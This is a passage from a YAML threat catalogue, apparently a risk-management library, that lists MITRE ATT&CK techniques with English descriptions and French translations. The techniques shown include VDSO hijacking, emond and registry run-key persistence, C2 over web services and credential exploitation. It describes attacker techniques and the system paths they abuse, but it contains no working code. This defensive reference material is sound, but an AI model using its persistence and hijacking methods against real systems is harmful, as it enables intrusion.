          \ vers un gestionnaire pour cette extension situ\xE9 dans <code>HKEY_CLASSES_ROOT\\\
          \\[handler].</code> Les diff\xE9rentes commandes sont ensuite list\xE9es\
          \ en tant que sous-cl\xE9s sous la cl\xE9 shell au <code>niveau de HKEY_CLASSES_ROOT\\\
          \\[handler]\\shell\\\\[action]\\command.</code> Par exemple: \n\n* <code>HKEY_CLASSES_ROOT\\\
          txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\\
          shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\\
          printto\\command</code>\n\nLes valeurs des cl\xE9s r\xE9pertori\xE9es sont\
          \ des commandes qui sont ex\xE9cut\xE9es lorsque le gestionnaire ouvre l\u2019\
          extension de fichier. Les adversaires peuvent modifier ces valeurs pour\
          \ ex\xE9cuter en permanence des commandes arbitraires. (Citation : TrendMicro\
          \ TROJ-FAKEAV OCTOBRE 2012)\nhttps://attack.mitre.org/techniques/T1546/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.014
    ref_id: T1055.014
    name: VDSO Hijacking
    description: "Adversaries may inject malicious code into processes via VDSO hijacking\
      \ in order to evade process-based defenses as well as possibly elevate privileges.\
      \ Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary\
      \ code in the address space of a separate live process. \n\nVDSO hijacking involves\
      \ redirecting calls to dynamically linked shared libraries. Memory protections\
      \ may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).\
      \ However, an adversary may hijack the syscall interface code stubs mapped into\
      \ a process from the vdso shared object to execute syscalls to open and map\
      \ a malicious shared object. This code can then be invoked by redirecting the\
      \ execution flow of the process via patched memory address references stored\
      \ in a process' global offset table (which store absolute addresses of mapped\
      \ library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace\
      \ VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in\
      \ the context of another process may allow access to the process's memory, system/network\
      \ resources, and possibly elevated privileges. Execution via VDSO hijacking\
      \ may also evade detection from security products since the execution is masked\
      \ under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/014"
    translations:
      fr:
        name: "D\xE9tournement de VDSO"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus par le biais du d\xE9tournement VDSO afin d\u2019\xE9chapper\
          \ aux d\xE9fenses bas\xE9es sur les processus et \xE9ventuellement d\u2019\
          \xE9lever les privil\xE8ges. Le d\xE9tournement d\u2019objets virtuels dynamiques\
          \ partag\xE9s (vdso) est une m\xE9thode d\u2019ex\xE9cution de code arbitraire\
          \ dans l\u2019espace d\u2019adressage d\u2019un processus en direct distinct.\
          \ \n\nLe d\xE9tournement VDSO consiste \xE0 rediriger les appels vers des\
          \ biblioth\xE8ques partag\xE9es li\xE9es dynamiquement. Les protections\
          \ de m\xE9moire peuvent emp\xEAcher l\u2019\xE9criture de code ex\xE9cutable\
          \ dans un processus via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).\
          \ Toutefois, un adversaire peut d\xE9tourner les stubs de code de l\u2019\
          interface syscall mapp\xE9s dans un processus \xE0 partir de l\u2019objet\
          \ partag\xE9 vdso pour ex\xE9cuter des appels syst\xE8me afin d\u2019ouvrir\
          \ et de mapper un objet partag\xE9 malveillant. Ce code peut ensuite \xEA\
          tre appel\xE9 en redirigeant le flux d\u2019ex\xE9cution du processus via\
          \ des r\xE9f\xE9rences d\u2019adresses de m\xE9moire corrig\xE9es stock\xE9\
          es dans la table de d\xE9calage globale d\u2019un processus (qui stockent\
          \ les adresses absolues des fonctions de biblioth\xE8que mapp\xE9es). (Citation\
          \ : Injection ELF mai 2009)(Citation : Backtrace VDSO)(R\xE9f\xE9rence :\
          \ VDSO ao\xFBt 2005)(Citation : Syscall 2014)\n\nL\u2019ex\xE9cution de\
          \ code dans le contexte d\u2019un autre processus peut permettre d\u2019\
          acc\xE9der \xE0 la m\xE9moire du processus, aux ressources syst\xE8me/r\xE9\
          seau et \xE9ventuellement \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9\
          cution via le d\xE9tournement VDSO peut \xE9galement \xE9chapper \xE0 la\
          \ d\xE9tection des produits de s\xE9curit\xE9, car l\u2019ex\xE9cution est\
          \ masqu\xE9e par un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071.002
    ref_id: T1071.002
    name: File Transfer Protocols
    description: "Adversaries may communicate using application layer protocols associated\
      \ with transferring files to avoid detection/network filtering by blending in\
      \ with existing traffic. Commands to the remote system, and often the results\
      \ of those commands, will be embedded within the protocol traffic between the\
      \ client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A),\
      \ FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files\
      \ may be very common in environments.  Packets produced from these protocols\
      \ may have many fields and headers in which data can be concealed. Data could\
      \ also be concealed within the transferred files. An adversary may abuse these\
      \ protocols to communicate with systems under their control within a victim\
      \ network while also mimicking normal, expected traffic.\nhttps://attack.mitre.org/techniques/T1071/002"
    translations:
      fr:
        name: Protocoles de transfert de fichiers
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide de protocoles\
          \ de couche application associ\xE9s au transfert de fichiers pour \xE9viter\
          \ la d\xE9tection/le filtrage du r\xE9seau en se fondant dans le trafic\
          \ existant. Les commandes adress\xE9es au syst\xE8me distant, et souvent\
          \ les r\xE9sultats de ces commandes, seront incorpor\xE9s dans le trafic\
          \ de protocole entre le client et le serveur. \n\nLes protocoles tels que\
          \ SMB (Citation : US-CERT TA18-074A), FTP (Citation : ESET Machete juillet\
          \ 2019), FTPS et TFTP qui transf\xE8rent des fichiers peuvent \xEAtre tr\xE8\
          s courants dans les environnements.  Les paquets produits \xE0 partir de\
          \ ces protocoles peuvent comporter de nombreux champs et en-t\xEAtes dans\
          \ lesquels les donn\xE9es peuvent \xEAtre dissimul\xE9es. Les donn\xE9es\
          \ peuvent \xE9galement \xEAtre dissimul\xE9es dans les fichiers transf\xE9\
          r\xE9s. Un adversaire peut abuser de ces protocoles pour communiquer avec\
          \ les syst\xE8mes sous son contr\xF4le au sein d\u2019un r\xE9seau victime\
          \ tout en imitant le trafic normal et attendu.\nhttps://attack.mitre.org/techniques/T1071/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1212
    ref_id: T1212
    name: Exploitation for Credential Access
    description: "Adversaries may exploit software vulnerabilities in an attempt to\
      \ collect credentials. Exploitation of a software vulnerability occurs when\
      \ an adversary takes advantage of a programming error in a program, service,\
      \ or within the operating system software or kernel itself to execute adversary-controlled\
      \ code.\_\n\nCredentialing and authentication mechanisms may be targeted for\
      \ exploitation by adversaries as a means to gain access to useful credentials\
      \ or circumvent the process to gain authenticated access to systems. One example\
      \ of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos\
      \ tickets using domain user permissions.(Citation: Technet MS14-068)(Citation:\
      \ ADSecurity Detecting Forged Tickets) Another example of this is replay attacks,\
      \ in which the adversary intercepts data packets sent between parties and then\
      \ later replays these packets. If services don't properly validate authentication\
      \ requests, these replayed packets may allow an adversary to impersonate one\
      \ of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd\
      \ Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight\
      \ Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud\
      \ environments as well. For example, adversaries have exploited vulnerabilities\
      \ in public cloud infrastructure that allowed for unintended authentication\
      \ token creation and renewal.(Citation: Storm-0558 techniques for unauthorized\
      \ email access)\n\nExploitation for credential access may also result in Privilege\
      \ Escalation depending on the process targeted or credentials obtained.\nhttps://attack.mitre.org/techniques/T1212"
    translations:
      fr:
        name: "Exploitation pour l\u2019acc\xE8s aux identifiants"
        description: "Les adversaires peuvent exploiter les vuln\xE9rabilit\xE9s logicielles\
          \ pour tenter de collecter des informations d\u2019identification. L\u2019\
          exploitation d\u2019une vuln\xE9rabilit\xE9 logicielle se produit lorsqu\u2019\
          un adversaire profite d\u2019une erreur de programmation dans un programme,\
          \ un service ou dans le logiciel ou le noyau du syst\xE8me d\u2019exploitation\
          \ lui-m\xEAme pour ex\xE9cuter du code contr\xF4l\xE9 par l\u2019adversaire.\_\
          \n\nLes m\xE9canismes d\u2019accr\xE9ditation et d\u2019authentification\
          \ peuvent \xEAtre exploit\xE9s par des adversaires comme moyen d\u2019acc\xE9\
          der \xE0 des informations d\u2019identification utiles ou de contourner\
          \ le processus pour obtenir un acc\xE8s authentifi\xE9 aux syst\xE8mes.\
          \ Par exemple, \xAB MS14-068 \xBB, qui cible Kerberos et peut \xEAtre utilis\xE9\
          \ pour falsifier des tickets Kerberos \xE0 l\u2019aide des autorisations\
          \ des utilisateurs du domaine. (R\xE9f\xE9rence : Technet MS14-068)(Citation\
          \ : ADSecurity d\xE9tecte les tickets falsifi\xE9s) Un autre exemple de\
          \ cela est les attaques par rejeu, dans lesquelles l\u2019adversaire intercepte\
          \ des paquets de donn\xE9es envoy\xE9s entre les parties, puis rejoue ensuite\
          \ ces paquets. Si les services ne valident pas correctement les demandes\
          \ d\u2019authentification, ces paquets rejou\xE9s peuvent permettre \xE0\
          \ un adversaire d\u2019usurper l\u2019identit\xE9 de l\u2019une des parties\
          \ et d\u2019obtenir un acc\xE8s ou des privil\xE8ges non autoris\xE9s. (Citation\
          \ : Bugcrowd Replay Attack)(citation : Comparitech Replay Attack)(Citation\
          \ : Microsoft Midnight Blizzard Replay Attack)\n\nUne telle exploitation\
          \ a \xE9galement \xE9t\xE9 d\xE9montr\xE9e dans les environnements cloud.\
          \ Par exemple, des adversaires ont exploit\xE9 des vuln\xE9rabilit\xE9s\
          \ dans l\u2019infrastructure de cloud public qui ont permis la cr\xE9ation\
          \ et le renouvellement involontaires de jetons d\u2019authentification.\
          \ (Citation : Techniques Storm-0558 pour l\u2019acc\xE8s non autoris\xE9\
          \ aux e-mails)\n\nL\u2019exploitation pour l\u2019acc\xE8s aux informations\
          \ d\u2019identification peut \xE9galement entra\xEEner une \xE9l\xE9vation\
          \ de privil\xE8ges en fonction du processus cibl\xE9 ou des informations\
          \ d\u2019identification obtenues.\nhttps://attack.mitre.org/techniques/T1212"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.014
    ref_id: T1546.014
    name: Emond
    description: 'Adversaries may gain persistence and elevate privileges by executing
      malicious content triggered by the Event Monitor Daemon (emond). Emond is a
      [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts
      events from various services, runs them through a simple rules engine, and takes
      action. The emond binary at <code>/sbin/emond</code> will load any rules from
      the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly
      defined event takes place.


      The rule files are in the plist format and define the name, event type, and
      action to take. Some examples of event types include system startup and user
      authentication. Examples of actions are to run a system command or send an email.
      The emond service will not launch if there is no file present in the QueueDirectories
      path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)
      configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation:
      xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone
      macos persist Jun 2019)


      Adversaries may abuse this service by writing a rule to execute commands when
      a defined event occurs, such as system start up or user authentication.(Citation:
      xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone
      macos persist Jun 2019) Adversaries may also be able to escalate privileges
      from administrator to root as the emond service is executed with root privileges
      by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

      https://attack.mitre.org/techniques/T1546/014'
    translations:
      fr:
        name: "\xC9mond"
        description: "Les adversaires peuvent obtenir de la persistance et des privil\xE8\
          ges \xE9lev\xE9s en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par le d\xE9mon du moniteur d\u2019\xE9v\xE9nements (emond). Emond est\
          \ un [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) qui\
          \ accepte les \xE9v\xE9nements de divers services, les ex\xE9cute via un\
          \ simple moteur de r\xE8gles et prend des mesures. Le binaire emond de <code>/sbin/emond</code>\
          \ chargera toutes les r\xE8gles du r\xE9pertoire <code>/etc/emond.d/rules/</code>\
          \ et agira une fois qu\u2019un \xE9v\xE9nement explicitement d\xE9fini aura\
          \ lieu.\n\nLes fichiers de r\xE8gles sont au format plist et d\xE9finissent\
          \ le nom, le type d\u2019\xE9v\xE9nement et l\u2019action \xE0 entreprendre.\
          \ Parmi les exemples de types d\u2019\xE9v\xE9nements, citons le d\xE9marrage\
          \ du syst\xE8me et l\u2019authentification de l\u2019utilisateur. Des exemples\
          \ d\u2019actions consistent \xE0 ex\xE9cuter une commande syst\xE8me ou\
          \ \xE0 envoyer un e-mail. Le service emond ne se lancera pas s\u2019il n\u2019\
          y a pas de fichier pr\xE9sent dans le chemin d\u2019acc\xE8s aux R\xE9pertoires\
          \ de file d\u2019attente <code>/private/var/db/emondClients</code>, sp\xE9\
          cifi\xE9 dans le fichier de configuration [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)\
          \ at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>. (Citation\_\
          : xorrior emond Jan 2018)(Citation : magnusviri emond avril 2016)(Citation\
          \ : sentinelone macos persist juin 2019)\n\nLes adversaires peuvent abuser\
          \ de ce service en \xE9crivant une r\xE8gle pour ex\xE9cuter des commandes\
          \ lorsqu\u2019un \xE9v\xE9nement d\xE9fini se produit, tel que le d\xE9\
          marrage du syst\xE8me ou l\u2019authentification de l\u2019utilisateur.\
          \ (Citation\_: xorrior emond Jan 2018)(Citation : magnusviri emond avril\
          \ 2016)(Citation : sentinelone macos persist juin 2019) Les adversaires\
          \ peuvent \xE9galement \xEAtre en mesure d\u2019\xE9lever les privil\xE8\
          ges de l\u2019administrateur \xE0 la racine, car le service emond est ex\xE9\
          cut\xE9 avec les privil\xE8ges root par le service [Launch Daemon](https://attack.mitre.org/techniques/T1543/004).\n\
          https://attack.mitre.org/techniques/T1546/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1102.003
    ref_id: T1102.003
    name: One-Way Communication
    description: 'Adversaries may use an existing, legitimate external Web service
      as a means for sending commands to a compromised system without receiving return
      output over the Web service channel. Compromised systems may leverage popular
      websites and social media to host command and control (C2) instructions. Those
      infected systems may opt to send the output from those commands back over a
      different C2 channel, including to another distinct Web service. Alternatively,
      compromised systems may return no output at all in cases where adversaries want
      to send instructions to systems and do not want a response.


      Popular websites and social media acting as a mechanism for C2 may give a significant
      amount of cover due to the likelihood that hosts within a network are already
      communicating with them prior to a compromise. Using common services, such as
      those offered by Google or Twitter, makes it easier for adversaries to hide
      in expected noise. Web service providers commonly use SSL/TLS encryption, giving
      adversaries an added level of protection.

      https://attack.mitre.org/techniques/T1102/003'
    translations:
      fr:
        name: "Communication \xE0 sens unique"
        description: "Les adversaires peuvent utiliser un service Web externe l\xE9\
          gitime existant comme moyen d\u2019envoyer des commandes \xE0 un syst\xE8\
          me compromis sans recevoir de retour sur le canal du service Web. Les syst\xE8\
          mes compromis peuvent exploiter des sites Web et des m\xE9dias sociaux populaires\
          \ pour h\xE9berger des instructions de commande et de contr\xF4le (C2).\
          \ Ces syst\xE8mes infect\xE9s peuvent choisir de renvoyer la sortie de ces\
          \ commandes sur un autre canal C2, y compris vers un autre service Web distinct.\
          \ Alternativement, les syst\xE8mes compromis peuvent ne renvoyer aucune\
          \ sortie dans les cas o\xF9 les adversaires veulent envoyer des instructions\
          \ aux syst\xE8mes et ne veulent pas de r\xE9ponse.\n\nLes sites Web populaires\
          \ et les m\xE9dias sociaux agissant comme un m\xE9canisme pour C2 peuvent\
          \ offrir une couverture importante en raison de la probabilit\xE9 que les\
          \ h\xF4tes d\u2019un r\xE9seau communiquent d\xE9j\xE0 avec eux avant une\
          \ compromission. L\u2019utilisation de services courants, tels que ceux\
          \ propos\xE9s par Google ou Twitter, permet aux adversaires de se cacher\
          \ plus facilement dans le bruit attendu. Les fournisseurs de services Web\
          \ utilisent g\xE9n\xE9ralement le cryptage SSL/TLS, ce qui offre aux adversaires\
          \ un niveau de protection suppl\xE9mentaire.\nhttps://attack.mitre.org/techniques/T1102/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590
    ref_id: T1590
    name: Gather Victim Network Information
    description: 'Adversaries may gather information about the victim''s networks
      that can be used during targeting. Information about networks may include a
      variety of details, including administrative data (ex: IP ranges, domain names,
      etc.) as well as specifics regarding its topology and operations.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about networks may also be exposed to adversaries via online or other accessible
      data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation:
      WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information
      may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1590'
    translations:
      fr:
        name: "Recueillir des informations sur le r\xE9seau des victimes"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ r\xE9seaux de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur les r\xE9seaux peuvent inclure une vari\xE9t\xE9\
          \ de d\xE9tails, y compris des donn\xE9es administratives (par exemple,\
          \ des plages d\u2019adresses IP, des noms de domaine, etc.) ainsi que des\
          \ d\xE9tails concernant leur topologie et leur fonctionnement.\n\nLes adversaires\
          \ peuvent collecter ces informations de diff\xE9rentes mani\xE8res, par\
          \ exemple par le biais d\u2019une [analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou d\u2019un [hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les r\xE9seaux peuvent \xE9galement \xEAtre expos\xE9\
          es \xE0 des adversaires par le biais d\u2019un ensemble de donn\xE9es en\
          \ ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [Rechercher\
          \ dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)).\
          \ (Citation : WHOIS)(Citation : benne \xE0 ordures DNS)(Citation : Circl\
          \ DNS passif) La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Fiable Relation](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1590"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1210
    ref_id: T1210
    name: Exploitation of Remote Services
    description: "Adversaries may exploit remote services to gain unauthorized access\
      \ to internal systems once inside of a network. Exploitation of a software vulnerability\
      \ occurs when an adversary takes advantage of a programming error in a program,\
      \ service, or within the operating system software or kernel itself to execute\
      \ adversary-controlled code.\_A common goal for post-compromise exploitation\
      \ of remote services is for lateral movement to enable access to a remote system.\n\
      \nAn adversary may need to determine if the remote system is in a vulnerable\
      \ state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046)\
      \ or other Discovery methods looking for common, vulnerable software that may\
      \ be deployed in the network, the lack of certain patches that may indicate\
      \ vulnerabilities,  or security software that may be used to detect or contain\
      \ remote exploitation. Servers are likely a high value target for lateral movement\
      \ exploitation, but endpoint systems may also be at risk if they provide an\
      \ advantage or access to additional resources.\n\nThere are several well-known\
      \ vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple\
      \ SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications\
      \ that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662)\
      \ and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the\
      \ permissions level of the vulnerable remote service an adversary may achieve\
      \ [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)\
      \ as a result of lateral movement exploitation as well.\nhttps://attack.mitre.org/techniques/T1210"
    translations:
      fr:
        name: "Exploitation des services \xE0 distance"
        description: "Les adversaires peuvent exploiter les services \xE0 distance\
          \ pour obtenir un acc\xE8s non autoris\xE9 aux syst\xE8mes internes une\
          \ fois \xE0 l\u2019int\xE9rieur d\u2019un r\xE9seau. L\u2019exploitation\
          \ d\u2019une vuln\xE9rabilit\xE9 logicielle se produit lorsqu\u2019un adversaire\
          \ profite d\u2019une erreur de programmation dans un programme, un service\
          \ ou dans le logiciel ou le noyau du syst\xE8me d\u2019exploitation lui-m\xEA\
          me pour ex\xE9cuter du code contr\xF4l\xE9 par l\u2019adversaire.\_L\u2019\
          un des objectifs courants de l\u2019exploitation post-compromission des\
          \ services distants est le mouvement lat\xE9ral pour permettre l\u2019acc\xE8\
          s \xE0 un syst\xE8me distant.\n\nUn adversaire peut avoir besoin de d\xE9\
          terminer si le syst\xE8me distant est dans un \xE9tat vuln\xE9rable, ce\
          \ qui peut \xEAtre fait par le biais de [Network Service Discovery](https://attack.mitre.org/techniques/T1046)\
          \ ou d\u2019autres m\xE9thodes de d\xE9couverte \xE0 la recherche de logiciels\
          \ vuln\xE9rables courants susceptibles d\u2019\xEAtre d\xE9ploy\xE9s dans\
          \ le r\xE9seau, de l\u2019absence de certains correctifs pouvant indiquer\
          \ des vuln\xE9rabilit\xE9s ou de logiciels de s\xE9curit\xE9 pouvant \xEA\
          tre utilis\xE9s pour d\xE9tecter ou contenir une exploitation \xE0 distance.\
          \ Les serveurs sont probablement une cible de grande valeur pour l\u2019\
          exploitation des mouvements lat\xE9raux, mais les syst\xE8mes de points\
          \ de terminaison peuvent \xE9galement \xEAtre \xE0 risque s\u2019ils offrent\
          \ un avantage ou un acc\xE8s \xE0 des ressources suppl\xE9mentaires.\n\n\
          Il existe plusieurs vuln\xE9rabilit\xE9s bien connues qui existent dans\
          \ les services courants tels que SMB (Citation : CIS Multiple SMB Vulnerabilities)\
          \ et RDP (Citation : NVD CVE-2017-0176) ainsi que dans les applications\
          \ qui peuvent \xEAtre utilis\xE9es au sein de r\xE9seaux internes tels que\
          \ MySQL (Citation : NVD CVE-2016-6662) et les services de serveur Web. (R\xE9\
          f\xE9rence : NVD CVE-2014-7169)\n\nEn fonction du niveau d\u2019autorisation\
          \ du service distant vuln\xE9rable, un adversaire peut r\xE9aliser [Exploitation\
          \ pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068)\
          \ \xE0 la suite de l\u2019exploitation des mouvements lat\xE9raux \xE9galement.\n\
          https://attack.mitre.org/techniques/T1210"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1534
    ref_id: T1534
    name: Internal Spearphishing
    description: 'After they already have access to accounts or systems within the
      environment, adversaries may use internal spearphishing to gain access to additional
      information or compromise other users within the same organization. Internal
      spearphishing is multi-staged campaign where a legitimate account is initially
      compromised either by controlling the user''s device or by compromising the
      account credentials of the user. Adversaries may then attempt to take advantage
      of the trusted internal account to increase the likelihood of tricking more
      victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation:
      Trend Micro - Int SP)


      For example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)
      or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part
      of internal spearphishing to deliver a payload or redirect to an external site
      to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056)
      on sites that mimic login interfaces.


      Adversaries may also leverage internal chat apps, such as Microsoft Teams, to
      spread malicious content or engage users in attempts to capture sensitive information
      and/or credentials.(Citation: Int SP - chat apps)

      https://attack.mitre.org/techniques/T1534'
    translations:
      fr:
        name: Spearphishing interne
        description: "Une fois qu\u2019ils ont d\xE9j\xE0 acc\xE8s \xE0 des comptes\
          \ ou \xE0 des syst\xE8mes au sein de l\u2019environnement, les adversaires\
          \ peuvent utiliser le harponnage interne pour acc\xE9der \xE0 des informations\
          \ suppl\xE9mentaires ou compromettre d\u2019autres utilisateurs au sein\
          \ de la m\xEAme organisation. Le spearphishing interne est une campagne\
          \ en plusieurs \xE9tapes dans laquelle un compte l\xE9gitime est initialement\
          \ compromis, soit en contr\xF4lant l\u2019appareil de l\u2019utilisateur,\
          \ soit en compromettant les informations d\u2019identification du compte\
          \ de l\u2019utilisateur. Les adversaires peuvent alors tenter de tirer parti\
          \ du compte interne de confiance pour augmenter la probabilit\xE9 d\u2019\
          inciter davantage de victimes \xE0 tomber dans le pi\xE8ge des tentatives\
          \ d\u2019hame\xE7onnage, en incorporant souvent l'[Usurpation d\u2019identit\xE9\
          ](https://attack.mitre.org/techniques/T1656). (Citation : Trend Micro -\
          \ Int SP)\n\nPar exemple, les adversaires peuvent utiliser [Spearphishing\
          \ Attachment](https://attack.mitre.org/techniques/T1566/001) ou [Spearphishing\
          \ Link](https://attack.mitre.org/techniques/T1566/002) dans le cadre d\u2019\
          un spearphishing interne pour fournir une charge utile ou rediriger vers\
          \ un site externe pour capturer des informations d\u2019identification via\
          \ [Input Capture](https://attack.mitre.org/techniques/T1056) sur des sites\
          \ qui imitent les interfaces de connexion.\n\nLes adversaires peuvent \xE9\
          galement exploiter des applications de chat internes, telles que Microsoft\
          \ Teams, pour diffuser du contenu malveillant ou inciter les utilisateurs\
          \ \xE0 capturer des informations sensibles et/ou des informations d\u2019\
          identification. (Citation\_: Int SP - applications de chat)\nhttps://attack.mitre.org/techniques/T1534"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.010
    ref_id: T1574.010
    name: Services File Permissions Weakness
    description: 'Adversaries may execute their own malicious payloads by hijacking
      the binaries used by services. Adversaries may use flaws in the permissions
      of Windows services to replace the binary that is executed upon service start.
      These service processes may automatically execute specific binaries as part
      of their functionality or to perform other actions. If the permissions on the
      file system directory containing a target binary, or permissions on the binary
      itself are improperly set, then the target binary may be overwritten with another
      binary using user-level permissions and executed by the original process. If
      the original process and thread are running under a higher permissions level,
      then the replaced binary will also execute under higher-level permissions, which
      could include SYSTEM.


      Adversaries may use this technique to replace legitimate binaries with malicious
      ones as a means of executing code at a higher permissions level. If the executing
      process is set to run at a specific time or during a certain event (e.g., system
      bootup) then this technique can also be used for persistence.

      https://attack.mitre.org/techniques/T1574/010'
    translations:
      fr:
        name: Faiblesse des autorisations de fichiers de services
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les fichiers binaires utilis\xE9s par les\
          \ services. Les adversaires peuvent utiliser des failles dans les autorisations\
          \ des services Windows pour remplacer le fichier binaire ex\xE9cut\xE9 au\
          \ d\xE9marrage du service. Ces processus de service peuvent ex\xE9cuter\
          \ automatiquement des fichiers binaires sp\xE9cifiques dans le cadre de\
          \ leurs fonctionnalit\xE9s ou pour effectuer d\u2019autres actions. Si les\
          \ permissions sur le r\xE9pertoire du syst\xE8me de fichiers contenant un\
          \ binaire cible, ou les permissions sur le binaire lui-m\xEAme ne sont pas\
          \ correctement d\xE9finies, alors le binaire cible peut \xEAtre \xE9cras\xE9\
          \ par un autre binaire \xE0 l\u2019aide des permissions de niveau utilisateur\
          \ et ex\xE9cut\xE9 par le processus d\u2019origine. Si le processus et le\
          \ thread d\u2019origine s\u2019ex\xE9cutent sous un niveau d\u2019autorisation\
          \ sup\xE9rieur, le fichier binaire remplac\xE9 s\u2019ex\xE9cutera \xE9\
          galement sous des autorisations de niveau sup\xE9rieur, qui peuvent inclure\
          \ SYSTEM.\n\nLes adversaires peuvent utiliser cette technique pour remplacer\
          \ des fichiers binaires l\xE9gitimes par des fichiers malveillants afin\
          \ d\u2019ex\xE9cuter du code \xE0 un niveau d\u2019autorisation plus \xE9\
          lev\xE9. Si le processus d\u2019ex\xE9cution est configur\xE9 pour s\u2019\
          ex\xE9cuter \xE0 un moment pr\xE9cis ou lors d\u2019un certain \xE9v\xE9\
          nement (par exemple, le d\xE9marrage du syst\xE8me), cette technique peut\
          \ \xE9galement \xEAtre utilis\xE9e pour la persistance.\nhttps://attack.mitre.org/techniques/T1574/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.001
    ref_id: T1547.001
    name: Registry Run Keys / Startup Folder
    description: 'Adversaries may achieve persistence by adding a program to a startup
      folder or referencing it with a Registry run key. Adding an entry to the "run
      keys" in the Registry or startup folder will cause the program referenced to
      be executed when a user logs in.(Citation: Microsoft Run Key) These programs
      will be executed under the context of the user and will have the account''s
      associated permissions level.


      The following run keys are created by default on Windows systems:


      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>

      * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>


      Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation:
      Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code>
      is also available but is not created by default on Windows Vista and newer.
